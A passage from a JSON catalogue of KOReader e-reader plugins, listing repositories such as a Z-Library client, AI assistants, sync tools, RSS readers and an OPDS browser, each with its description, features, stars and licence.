KOReader"],"keywords":["koreader","koreader-plugin","z-lib","z-library","client","zlibrary","setting","download","done","now","log","search","section"],"topics":["koreader","koreader-plugin","z-lib","z-library"],"stars":223,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-02-05T20:30:52Z","license":"Unlicense","default_branch":"main","has_meta":true,"readme_bytes":344,"detail":"detail/OctoNezd__zlibrary.koplugin.json","activity":"active","note":"Describes the repository's stated functionality only. Availability and legality vary by jurisdiction; do not advise on either.","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"zeeyado/koassistant.koplugin","owner":"zeeyado","repo":"koassistant.koplugin","url":"https://github.com/zeeyado/koassistant.koplugin","description":"A powerful AI assistant integrated into KOReader.","purpose":"Powerful, customizable AI assistant for KOReader. Note: This README is the main documentation for now, and is being migrated to the Wiki. It was substantially refreshed in July 2026 to match the current code; if you spot anything out of date, or want to help with the wiki migration and docs cleanup, contributions are…","categories":["ai"],"features":["Highlight text → translate, explain, define words, analyze passages, connect ideas, save content directly to KOReader's highlight…","Generate images → turn a highlight into an image using OpenAI, xAI, or Gemini image models; generated images are kept on-device…","While reading → reference guides (summaries, browsable X-Ray with character tracking, cross-references, chapter distribution,…","X-Ray that keeps up → optional Automatic X-Ray (per-book or global: background auto-update as you read, auto-create early in a…","Session controls (chips) → a configurable chip row in the input dialog — Domain, Web search, AI Book Tools, Quick Answer, Scope,…","Research Mode → automatic academic enhancements for papers with DOI: discipline-agnostic academic X-Ray (7 research categories),…"],"keywords":["koreader","koreader-plugin","chatgpt-api","claude-ai","deepseek","e-ink","e-reader","ereader","gemini-api","koplugin","ollama-api","x-ray","xray","powerful","assistant","integrated","koassistant","table","contents","essentials","quick","setup","api","key"],"topics":["koreader","koreader-plugin","chatgpt-api","claude-ai","deepseek","e-ink","e-reader","ereader","gemini-api","koplugin","ollama-api","x-ray","xray"],"stars":203,"forks":11,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T21:27:46Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":391117,"detail":"detail/zeeyado__koassistant.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"b-/filebrowser.koplugin","owner":"b-","repo":"filebrowser.koplugin","url":"https://github.com/b-/filebrowser.koplugin","description":"Run Filebrowser from within KOReader","purpose":"*Run Filebrowser server from within KOReader.* Warning: only tested on one device, not frequently maintained. I only have one KOreader device -- a Kindle Pw4, running a relatively recent firmware. (If anyone wants to donate other devices to me, feel free to reach out or file an issue).","categories":["files"],"features":["If you're unsure about your device's CPU architecture, please refer to this file to identify it and select the appropriate bundle","If your device is not listed under the Easy Installation section, refer to the Custom Installation section instead","The Filebrowser menu item does not appear after installation","Filebrowser stops after a moment: the checkbox uncheks itself after reopening the menu"],"keywords":["run","filebrowser","within","easy","bundled","binary","custom","own","troubleshooting","device","directory","menu","after","copy","files","have","other","section","which","available","devices","does","file","network"],"topics":[],"stars":171,"forks":9,"is_fork":true,"archived":false,"pushed_at":"2026-02-07T15:20:30Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":3779,"detail":"detail/b-__filebrowser.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"greywolf1499/opds_plus.koplugin","owner":"greywolf1499","repo":"opds_plus.koplugin","url":"https://github.com/greywolf1499/opds_plus.koplugin","description":"Enhanced OPDS catalog browser for KOReader with visual cover display, grid/list views, and extensive customization options","purpose":"Enhanced OPDS catalogue browser with cover display, grid and list views.","categories":["library"],"features":["Visual Book Covers: Browse catalogs with book cover images displayed alongside titles","Dual View Modes: Switch between List View and Grid View layouts","Multiple Display Options: Customize how books are presented","Book Info Dialog: Open an at-a-glance details dialog with improved cover handling","Sync Gesture Actions: Trigger sync-related actions directly from configured gestures","Cover Quality + Cache: Improved cover rendering pipeline with disk-backed caching","Book covers displayed alongside title and author information","Adjustable cover sizes with presets (Compact, Regular, Large, Extra Large)","Custom size option (5-25% of screen height)","Clean, readable layout optimized for e-readers"],"keywords":["ebook","ereader","koreader","koreader-plugin","opds","book-covers","digital-library","lua","reading","catalog-browser","calibre","ebook-reader","opds-catalog","koreader-plugins","enhanced","catalog","browser","visual","cover","display","grid","list","views","extensive","covers"],"topics":["ebook","ereader","koreader","koreader-plugin","opds","book-covers","digital-library","lua","reading","catalog-browser","calibre","ebook-reader","opds-catalog","koreader-plugins"],"stars":165,"forks":15,"is_fork":false,"archived":false,"pushed_at":"2026-07-01T18:07:24Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":11789,"detail":"detail/greywolf1499__opds_plus.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"OGKevin/kobo.koplugin","owner":"OGKevin","repo":"kobo.koplugin","url":"https://github.com/OGKevin/kobo.koplugin","description":"A KoReader plugin that enhances your kobo experience","purpose":"Kobo-specific enhancements for KOReader, adding behaviour that only applies to Kobo hardware rather than changing KOReader generally.","categories":["device"],"features":["Virtual Library - Browse and open your Kobo kepub collection directly from KOReader","Reading State Sync - Bidirectional synchronization of reading progress between KOReader and","Bluetooth Support - Manage Bluetooth connections and pair devices from within KOReader"],"keywords":["kobo","kobo-ereader","koplugin","koreader","plugin","koreader-plugin","enhances","experience","bluetooth","reading","virtual","library","browse","open","kepub","collection","directly","state","sync","bidirectional","synchronization","progress","between","manage"],"topics":["kobo","kobo-ereader","koplugin","koreader","plugin","koreader-plugin"],"stars":163,"forks":13,"is_fork":false,"archived":false,"pushed_at":"2026-08-04T13:33:59Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":518,"detail":"detail/OGKevin__kobo.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"ckilb/pocketbooksync.koplugin","owner":"ckilb","repo":"pocketbooksync.koplugin","url":"https://github.com/ckilb/pocketbooksync.koplugin","description":"A Pocketbook app that sync the reading status between KOReader and Pocketbook's original software.","purpose":"Pushes reading progress from KOReader into the PocketBook library, so the device's own progress bars stay correct.","categories":["sync","device"],"features":[],"keywords":["pocketbook","app","sync","reading","status","between","original","software","boot","logo","current","page","development","commits","release-please","after","https","progress","screen","applications","bars","conventional","copy","device"],"topics":[],"stars":159,"forks":8,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T08:30:18Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1866,"detail":"detail/ckilb__pocketbooksync.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"dani84bs/AnnotationSync.koplugin","owner":"dani84bs","repo":"AnnotationSync.koplugin","url":"https://github.com/dani84bs/AnnotationSync.koplugin","description":"Seamless background sync for KOReader highlights, notes, bookmarks and precise reading progress across devices.","purpose":"Synchronises KOReader annotations between devices, so highlights and notes made on one reader are present on the next one you pick up.","categories":["sync"],"features":["Features","KOReader Version Requirements","Cloud Storage Setup","Usage & Configuration","Manual & Bulk Annotation Sync","Reading Progress Sync","Settings Synchronization","Managing Deletions (Trash Bin)","Pending Documents Queue","Gesture & Profile Shortcuts"],"keywords":["koreader","koreader-plugin","koreader-sync","seamless","background","sync","highlights","notes","bookmarks","precise","reading","progress","across","devices","annotationsync","table","contents","requirements","cloud","storage","setup","storage+","dev","nightly"],"topics":["koreader","koreader-plugin","koreader-sync"],"stars":159,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T22:46:49Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":14356,"detail":"detail/dani84bs__AnnotationSync.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"stelzch/zotero.koplugin","owner":"stelzch","repo":"zotero.koplugin","url":"https://github.com/stelzch/zotero.koplugin","description":"Display Zotero collection on E-Readers with KOReader","purpose":"Browse a Zotero library on an e-reader: open your collections and read the papers and documents in them through KOReader, for research and academic reading.","categories":["library"],"features":["Synchronize via Web API","Display collections, navigate to sub-collections","Supports WebDAV storage backend","Search entries by the title of the publication, name of the first author or DOI","Obtain an API token for your account by generating a new key in your Zotero Settings. Note the userID and the private key","Set your credentials for Zotero either directly in KOReader or edit the configuration file as described below"],"keywords":["koreader-plugin","zotero","zotero-api","display","collection","e-readers","guide","differences","previous","versions","configuration","webdav","manual","directory","edit","file","files","settings","account","also","attachments","collections","copy","credentials","reference manager","research","academic"],"topics":["koreader-plugin","zotero","zotero-api"],"stars":155,"forks":16,"is_fork":false,"archived":false,"pushed_at":"2025-12-01T15:50:29Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":2802,"detail":"detail/stelzch__zotero.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"ultimatejimmy/storefront.koplugin","owner":"ultimatejimmy","repo":"storefront.koplugin","url":"https://github.com/ultimatejimmy/storefront.koplugin","description":"Discover, install, and update KOReader plugins, user patches, and fonts without leaving your device.","purpose":"Discover, install, and update community-created KOReader plugins, user patches, and fonts without leaving your device.","categories":["ui"],"features":["Unified browser for plugins, patches, and fonts with persistent filters and paging","Offline-friendly cache stored under data/cache/Storefront so existing results remain accessible when you lose connectivity","Per-entry README viewer that fetches README.md directly from GitHub and displays it in the plugin","Update tracking for installed plugins and numbered patch files, complete with SHA comparisons and refreshable summaries","Multilingual: Available in English, German, French, Spanish, Brazilian Portuguese, Russian, Ukrainian, Turkish, Simplified…","Optional authentication through a GitHub Personal Access Token (PAT) to increase API rate limits","1. Installation Guide","2. Usage Guide","3. Plugin, Patch, and Font Management Guide","4. Language Support"],"keywords":["koreader-plugin","discover","update","fonts","without","leaving","device","storefront","key","capabilities","documentation","github","guide","browser","available","cache","files","filtering","installed","versions","wiki","unified","persistent","filters"],"topics":["koreader-plugin"],"stars":146,"forks":3,"is_fork":true,"archived":false,"pushed_at":"2026-08-17T03:33:37Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3746,"detail":"detail/ultimatejimmy__storefront.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ultimatejimmy/xray.koplugin","owner":"ultimatejimmy","repo":"xray.koplugin","url":"https://github.com/ultimatejimmy/xray.koplugin","description":"Character tracking, timeline, historical context, unit conversion, etc.","purpose":"Kindle-style X-Ray for KOReader: tracks characters and builds plot timelines as you read.","categories":["reading","ai"],"features":["AI-Powered Insights: Supports Google Gemini, OpenAI, DeepSeek, Claude, and Custom API providers (like OpenRouter)","Character Tracking: View bios and roles. Now supports Merging Duplicates with AI-consolidated summaries","Customizable Detail: Choose between short or long AI descriptions to fit your preference","Linked Entries: Automatically connect related characters and locations through smart cross-referencing","Plot Timeline: Keeps track of major events chapter by chapter, strictly sorted by physical page location for accuracy","Historical Context: Pulls real-world info for historical figures and locations","Mention Scanning: Find every occurrence of a character or location throughout the book, complete with page numbers and context…","Spoiler Protection: \"Spoiler-free\" mode only reads up to your current page so future twists aren't ruined"],"keywords":["koreader-plugin","character","tracking","timeline","historical","context","unit","conversion","etc","x-ray","does","documentation","fetching","data","lookups","automatically","background","chapter","characters","page","book","custom","duplicates","fetch","xray","plot"],"topics":["koreader-plugin"],"stars":140,"forks":12,"is_fork":true,"archived":false,"pushed_at":"2026-08-10T13:07:22Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4031,"detail":"detail/ultimatejimmy__xray.koplugin.json","activity":"active","note":"Uses an AI provider for its analysis, so it needs a key of your own.","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"JoeBumm/Koreader-Menu-customizer","owner":"JoeBumm","repo":"Koreader-Menu-customizer","url":"https://github.com/JoeBumm/Koreader-Menu-customizer","description":"Simplify KOReader. Hide menus. Hide plugins. Focus on reading.","purpose":"Hides individual menus and plugins from KOReader's interface, so the menus keep only what you actually use. Simplifies the existing interface rather than replacing it.","categories":["ui"],"features":["Hide the Useless Stuff: Toggle off menus you never touch. (It hides them; it doesn't delete them. I'm not a monster.)","Profiles: Create setups like \"Deep Reading,\" \"Night Mode,\" or \"I Am Overwhelmed.\"","One-Click Sync: Too lazy to configure the Reader menu after fixing the File Manager? Me too. Hit \"Apply File Manager Layout to…","Safety First: I locked the critical stuff (Search, Settings, etc.) so you can't accidentally brick your experience and blame me","Grab the ZIP from Releases","Throw that folder into your KOReader plugins directory (koreader/plugins/)","Go to More tools → Menu Disabler","Pick a mode (File Manager or Reader)","Tap to hide/show items. X means visible. [] means \"gone to the shadow realm.\"","HIT SAVE. If you don't save, it didn't happen"],"keywords":["eink-devices","kindle","kobo","kobo-ereader","koreader","koreader-plato","koreader-plugin","e-reader","koreader-plugins","koreader-style-tweaks","ui-customization","simplify","hide","menus","focus","reading","menu","disabler","where","did","all","buttons","hopefully","help"],"topics":["eink-devices","kindle","kobo","kobo-ereader","koreader","koreader-plato","koreader-plugin","e-reader","koreader-plugins","koreader-style-tweaks","ui-customization"],"stars":129,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-05-21T16:55:34Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2171,"detail":"detail/JoeBumm__Koreader-Menu-customizer.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"mysticknits/pencil.koplugin","owner":"mysticknits","repo":"pencil.koplugin","url":"https://github.com/mysticknits/pencil.koplugin","description":"Koreader plugin that allows Kobo Libra Color users to use a stylus to take notes in Epubs.","purpose":"Stylus support for handwritten notes in EPUBs, on the Kobo Libra Color specifically. Requires that hardware; it does nothing on devices without a pen.","categories":["device","ui"],"features":["Kobo Libra Colour/Kobo Stylus 2/Epub format","Pen tip: Draw annotations on your ebooks","Eraser end: Flip your stylus over to erase strokes instantly","Highlighter: Hold the stylus side button and drag to highlight; tap the side button to toggle pencil/eraser","Swap Eraser/Highlighter: Reassign which side button acts as eraser vs. highlighter from the menu","Undo: Undo your last stroke or eraser action","Clear strokes: Clear annotations for the current page or the entire document","Annotation grouping: Strokes are automatically grouped into logical annotations based on timing and proximity","Enable/disable toggle: Turn the plugin on or off via the menu or a mapped gesture","Per-document storage: Annotations are saved with each book"],"keywords":["koreader","koreader-plugin","koreader-plugins","allows","kobo","libra","color","stylus","take","notes","epubs","pencil","information","compatible","snowflake","instructions","configuring","questions","issues","experimental","picker","pen","width","bookmark"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":124,"forks":22,"is_fork":false,"archived":false,"pushed_at":"2026-06-09T14:57:30Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4433,"detail":"detail/mysticknits__pencil.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"stradichenko/audiobook.koplugin","owner":"stradichenko","repo":"audiobook.koplugin","url":"https://github.com/stradichenko/audiobook.koplugin","description":"A plugin to give TTS-capabilities, includes bluetooth controllers.","purpose":"Audiobook Read-Along Plugin for KOReader Consider supporting: Text-to-speech for KOReader with synchronized word highlighting, automatic page turns, and Bluetooth audio support. Works offline on Kobo, Kindle, Android, and Linux.","categories":["dict","library","files","reading","content","notes"],"features":["[Audio] Play music files (MP3, FLAC, OGG, and more)","[Books] Play audiobooks with scrubber seek, chapter navigation, and sleep timer","[Audiobookshelf] Browse, download, and sync playback progress with an Audiobookshelf server (see setup guide)!","[Sync] Storyteller compatibility; EPUB 3 Media Overlays support (work in progress)","Long-press a word to open the dictionary popup, then tap Read aloud from here","Or select a paragraph, then tap Read aloud from here in the selection menu","Or go to Tools > Audiobook Read-Along > Start reading from current page","Start reading from current page - begin read-along from the current page","Bluetooth settings","Bluetooth - pair, connect, disconnect, scan"],"keywords":["audio-streaming","audiobooks","koreader-plugin","koreader-plugins","tts-engines","give","tts-capabilities","includes","bluetooth","controllers","audiobookshelf","integration","quick","start","download","copy","tts","engine","pre-built","reading","optional","piper","neural","choosing"],"topics":["audio-streaming","audiobooks","koreader-plugin","koreader-plugins","tts-engines"],"stars":121,"forks":9,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:20:47Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":30467,"detail":"detail/stradichenko__audiobook.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"koplugin-swipe-animation/Swipe_Animation.koplugin","owner":"koplugin-swipe-animation","repo":"Swipe_Animation.koplugin","url":"https://github.com/koplugin-swipe-animation/Swipe_Animation.koplugin","description":"A software page-turn animation patch for KOReader that provides a smooth \"wipe / erase and reveal\" effect.","purpose":"KOReader 软件翻页动画补丁（擦除渐显效果） 为 KOReader 提供流畅的「擦除渐显」（wipe）翻页动画效果，特别适合没有硬件翻页动画支持的设备。 自 V4.0 起，本插件不再依赖或修改 `ffi/framebuffer.lua`。","categories":["ui","device","reading"],"features":["使用本仓库 restore-files 文件夹中的文件还原系统文件（直接覆盖即可）。","手动删除 koreader/patches/ 目录下的旧补丁文件：","1-mtk-swipe-direction.lua","2-mtk-swipe-direction.lua","2-swipe-full-refresh-judgment.lua","翻页动画更流畅、速度更快","减少翻页过程中的屏幕抖动","可自定义刷新速率","支持全方向滑动翻页","优化夜间模式体验"],"keywords":["koreader-plugin","koreader-plugins","koreader-user-patch","kindle","kobo","koreader","software","page-turn","animation","provides","smooth","wipe","erase","reveal","effect","swipe","linux","frontend","2-pdf-animation","restore-files","1-mtk-swipe-direction","lua","2-mtk-swipe-direction","2-swipe-full-refresh-judgment"],"topics":["koreader-plugin","koreader-plugins","koreader-user-patch","kindle","kobo","koreader"],"stars":112,"forks":9,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T04:53:16Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":5308,"detail":"detail/koplugin-swipe-animation__Swipe_Animation.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"iceyear/readeck.koplugin","owner":"iceyear","repo":"readeck.koplugin","url":"https://github.com/iceyear/readeck.koplugin","description":"KOReader plugin for Readeck servers","purpose":"Reads articles saved to a Readeck server you run yourself, bringing a read-later queue onto the e-reader. Requires an existing Readeck instance.","categories":["web"],"features":["PRs are appreciated, whether for refactoring, bug fixes, or small improvements","Feel free to open Feature Requests in the Issues — discussion and collaborative implementation are encouraged","You are welcome to fork this project or reuse its ideas as a starting point (“reinventing the wheel” is totally fine here)","🔄 Sync & Download: Download articles from your Readeck server to a dedicated folder on your KOReader device","🏷️ Tag Filtering: Only download articles with a specific tag, ignore articles with certain tags, and auto-add tags to newly…","↕️ Sorting: Sort server articles by added/published date, duration, site name, or title","🗄️ Completion Actions: Optionally archive or delete finished/100%-read articles in Readeck, and remove local files only after the…","🧾 History Cleanup: Optionally remove finished/fully-read Readeck documents from KOReader history"],"keywords":["e-book","e-ink","e-reader","ebook","eink","ereader","koplugin","koreader","koreader-plugin","readeck","readeck-api","servers","overview","project","status","configuration","initial","setup","instructions","downloading","articles","marking","finished","adding","read later","save articles","reading list"],"topics":["e-book","e-ink","e-reader","ebook","eink","ereader","koplugin","koreader","koreader-plugin","readeck","readeck-api"],"stars":111,"forks":7,"is_fork":false,"archived":false,"pushed_at":"2026-05-07T15:30:04Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":14224,"detail":"detail/iceyear__readeck.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"advokatb/updatesmanager.koplugin","owner":"advokatb","repo":"updatesmanager.koplugin","url":"https://github.com/advokatb/updatesmanager.koplugin","description":"Updates Manager is a plugin for KOReader that helps you manage updates for patches and plugins from multiple GitHub repositories","purpose":"Updates Manager is a plugin for KOReader that helps you manage updates for patches and plugins from multiple GitHub repositories.","categories":["ui"],"features":["Multi-Repository Updates: Automatically check for updates from multiple GitHub repositories","Selective Updates: Choose which patches/plugins to update with checkboxes","Smart Caching: Repository data is cached to reduce API calls and improve performance","Rate Limit Handling: Automatically handles GitHub API rate limits with intelligent retry logic","Progress Display: Real-time progress updates during update checks","Safe Installation: Backs up existing files before updating","Preserve files on plugin update: Optional preserve_files in repo config keeps user config/API keys etc. when updating a plugin…","MD5 Verification: Validates file integrity using MD5 checksums","Patch Descriptions: Automatic extraction from comments, local editing","Plugin Version Management: Automatic version comparison for plugins"],"keywords":["updates","manager","helps","manage","multiple","github","repositories","implemented","future","menu","structure","force","refresh","managing","important","warnings","checking","viewing","installed","editing","descriptions","ignoring","authors","adding"],"topics":[],"stars":105,"forks":11,"is_fork":false,"archived":false,"pushed_at":"2026-07-29T15:02:22Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":19912,"detail":"detail/advokatb__updatesmanager.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Euphoriyy/appearance.koplugin","owner":"Euphoriyy","repo":"appearance.koplugin","url":"https://github.com/Euphoriyy/appearance.koplugin","description":"A plugin that allows you to customize KOReader's look and color scheme. It adds color options for the interface and books, plus progress bar and highlights. It also adds themes, fonts, and background images. ","purpose":"Broad control over how KOReader looks, gathering appearance settings that are otherwise scattered or unavailable.","categories":["ui"],"features":["Move the appearance.koplugin directory to the koreader/plugins folder on your device","Background color - the main canvas behind text and UI elements","Font color - the color of all rendered text","Background color - the color of the page background","Font color - the color of the page text","Link color - the color of the page links","Highlight colors - the colors used when annotating (each name can also be edited)","Progress bar colors - the read/unread colors of the book progress bar in the footer","Android/Boox: koreader/fonts/","PocketBook: applications/koreader/fonts (Create the folder)"],"keywords":["kobo","koplugin","koreader","koreader-plugin","plugin","ebook","ebook-reader","epub","ereader","kindle","pdf","reader","allows","customize","look","color","scheme","adds","options","interface","books","plus","progress","bar","appearance","theme"],"topics":["kobo","koplugin","koreader","koreader-plugin","plugin","ebook","ebook-reader","epub","ereader","kindle","pdf","reader"],"stars":105,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T02:26:59Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":7836,"detail":"detail/Euphoriyy__appearance.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"Fank1/glimpse","owner":"Fank1","repo":"glimpse","url":"https://github.com/Fank1/glimpse","description":"Glimpse is a plugin for KOReader that let's you peek at maps, family trees and other reference images from anywhere in a book without losing your reading position.","purpose":"A KOReader plugin for peeking at maps, family trees and other reference images from anywhere in a book, without losing your reading position.","categories":["reading"],"features":["Scans the EPUB's HTML directly for images and filters out ornaments,","Remembers the last image you viewed per book, including its zoom","Spoiler-safe by default: only searches up to your current position","Night-mode friendly: line-art illustrations with transparent","Menu: with a book open: Tools (wrench icon) → Glimpse → *Open","Gesture (recommended): Settings → Taps and gestures → Gesture manager →","Dot indicator: tap it to jump near that image directly, not just","Zoom control (optional): add *Show Zoom Controls* from Quick Actions to","Mode switch (⋯ menu): the viewer's ⋯ menu shows *Mode: Spoiler-free*","Quick Actions: the contents of the ⋯ menu are configurable under"],"keywords":["koreader","koreader-plugin","glimpse","let","peek","maps","family","trees","other","reference","images","anywhere","book","without","losing","reading","position","does","settings","tools","gallery","releasing","scope","limitations"],"topics":["koreader","koreader-plugin"],"stars":104,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T11:18:09Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":14284,"detail":"detail/Fank1__glimpse.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"omer-faruq/rssreader.koplugin","owner":"omer-faruq","repo":"rssreader.koplugin","url":"https://github.com/omer-faruq/rssreader.koplugin","description":"A full-featured RSS reader for KOReader — supports accounts, local feeds, and offline reading","purpose":"Follow RSS feeds from a single screen inside KOReader, reading the articles on the device.","categories":["web"],"features":["Readers who want to add their own RSS accounts","Users who prefer to use the local feed bundles","Local: Offline RSS feeds stored locally","NewsBlur: Online RSS aggregator (requires premium subscription for full access)","CommaFeed: Self-hosted or cloud-based RSS aggregator (Recommended)","FreshRSS: Self-hosted RSS aggregator","Miniflux: Self-hosted minimalist RSS aggregator with native API support","Fever API: Generic API compatible with other services","✅ Online sync – Access your feeds from any device with automatic read state synchronization","✅ Virtual aggregated views – View all feeds or all unread items from all subscriptions in one list"],"keywords":["koreader","koreader-plugin","rss-reader","full-featured","rss","accounts","local","feeds","offline","reading","who","account","types","commafeed","recommended","files","need","edit","quick","start","virtual","all","aggregated","views","news","articles"],"topics":["koreader","koreader-plugin","rss-reader"],"stars":102,"forks":5,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T06:33:31Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":14871,"detail":"detail/omer-faruq__rssreader.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"kristianpennacchia/zzz-readermenuredesign.koplugin","owner":"kristianpennacchia","repo":"zzz-readermenuredesign.koplugin","url":"https://github.com/kristianpennacchia/zzz-readermenuredesign.koplugin","description":"A redesign of the various reader menus in KOReader.","purpose":"A redesign of the various reader menus in KOReader, including the Dictionary Quick Lookup popup and Reader Highlight menu.","categories":["ui"],"features":["All of the icons are hazard (⚠️) symbols","As of version v1.0.5, the icons should be installed automatically, however if you are still encountering this issue, try manually…","Icons are not showing at all","This can happen on some devices with older versions of this plugin. Try deleting this plugins SVG icons from…","Reader Highlight menu","Open Menu → Tools 🛠️ → More tools → Reader Menu Redesign → Show Unknown Buttons In Reader Highlight Menu","This will toggle showing/hiding the 'unknown' buttons (buttons without special handling in this plugin) in the Reader Highlight…","Dict Quick Lookup","This will toggle showing/hiding the 'nav' buttons in the Dict Quick Lookup to navigate between dictionaries, wikipedia entires,…","Alternatively: You can simply swipe left-to-right to navigate instead, but these buttons are more useful for PC/Mac"],"keywords":["koreader-plugin","koreader","redesign","various","menus","zzz-readermenuredesign","troubleshooting","settings","icons","menu","buttons","highlight","lookup","quick","tools","dict","folder","more","show","showing","unknown","hiding","latest","navigate"],"topics":["koreader-plugin","koreader"],"stars":101,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-07-08T23:28:31Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2815,"detail":"detail/kristianpennacchia__zzz-readermenuredesign.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AlgusDark/miniflux.koplugin","owner":"AlgusDark","repo":"miniflux.koplugin","url":"https://github.com/AlgusDark/miniflux.koplugin","description":"KOReader plugin to access a Miniflux instance to read your RSS feed entries with offline capabilities.","purpose":"A KOReader plugin allows you to read RSS entries online/offline on your e-reader device. Browse your Miniflux server content directly from KOReader:","categories":["web","files"],"features":["Online/Offline Reading: Browse feeds, categories, and entries online or offline. You can download entries individually or in batch","Context-Aware Navigation: Navigate between entries with next/previous actions after finishing reading an entry","Status Synchronization: Mark entries as read/unread. Don't worry if you aren't online, the system will keep an eye on it and you…","E-ink Optimized: Efficient image downloading and display for e-readers. You can proxy the images to be transformed for e-ink…","Activate the plugin","Setup: Configure your Miniflux server URL and credentials in the settings","Browse: Access feeds, categories, and entries from the \"read entries\" menu","Read: Select an entry and it will start downloading it. The entry will be opened after successfully downloaded"],"keywords":["eink","koplugin","koreader","koreader-plugin","miniflux","rss","access","instance","read","feed","entries","offline","capabilities","development","status","core","storage","management","background","operations","enhanced","reading","experience","technical"],"topics":["eink","koplugin","koreader","koreader-plugin","miniflux","rss"],"stars":100,"forks":8,"is_fork":false,"archived":false,"pushed_at":"2026-04-27T07:05:30Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":5261,"detail":"detail/AlgusDark__miniflux.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"KORComic/comicreader.koplugin","owner":"KORComic","repo":"comicreader.koplugin","url":"https://github.com/KORComic/comicreader.koplugin","description":"A plugin to enhance your comic (or any paged document) reading experience on KOReader.","purpose":"Improves reading of comics and other paged documents on KOReader. A reading experience, not a source of comics.","categories":["content","reading"],"features":["View two panels at the same time","Properly track reading statistics in dual-page mode","Automatically enable dual-page mode in landscape orientation","Toggle various settings using dispatcher/profiles","Go to the releases page","If prompted about existing files under statistics.koplugin,","When opening a single-page document, you’ll see a new toggle option"],"keywords":["comic","comic-reader","comics","comics-reader","koreader","koreader-plugin","enhance","any","paged","document","reading","experience","comicreader","disclaimer","statistics","dual-page","mode","project","toggle","view","two","panels","same","time","cbz","cbr"],"topics":["comic","comic-reader","comics","comics-reader","koreader","koreader-plugin"],"stars":98,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-06T04:42:55Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1183,"detail":"detail/KORComic__comicreader.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"omer-faruq/webbrowser.koplugin","owner":"omer-faruq","repo":"webbrowser.koplugin","url":"https://github.com/omer-faruq/webbrowser.koplugin","description":"Text-Based Web Browser Plugin for KOReader","purpose":"Text-oriented web browser for e-ink: search, open pages and read them in Markdown, CRE or MuPDF rendering.","categories":["web"],"features":["Search dialog: Launch queries directly from KOReader using a custom dialog tailored for e-ink interaction, and open the History…","Curated results list: Browse plaintext summaries before opening pages, reducing bandwidth and rendering overhead. Long-press a…","RSS Reader integration (optional): When the RSS Reader plugin is installed, two additional buttons appear in the search result…","Open sanitized: Downloads and sanitizes the article using RSS Reader's content extraction pipeline (FiveFilters, Diffbot,…","Save sanitized: Downloads and sanitizes the article, then saves it as an EPUB (with images) or HTML file to your configured save…","Automatic configuration: Uses your RSS Reader sanitizer settings (API keys, active sanitizers, order) automatically","Graceful fallback: If RSS Reader is not installed, these buttons are hidden and the Web Browser functions 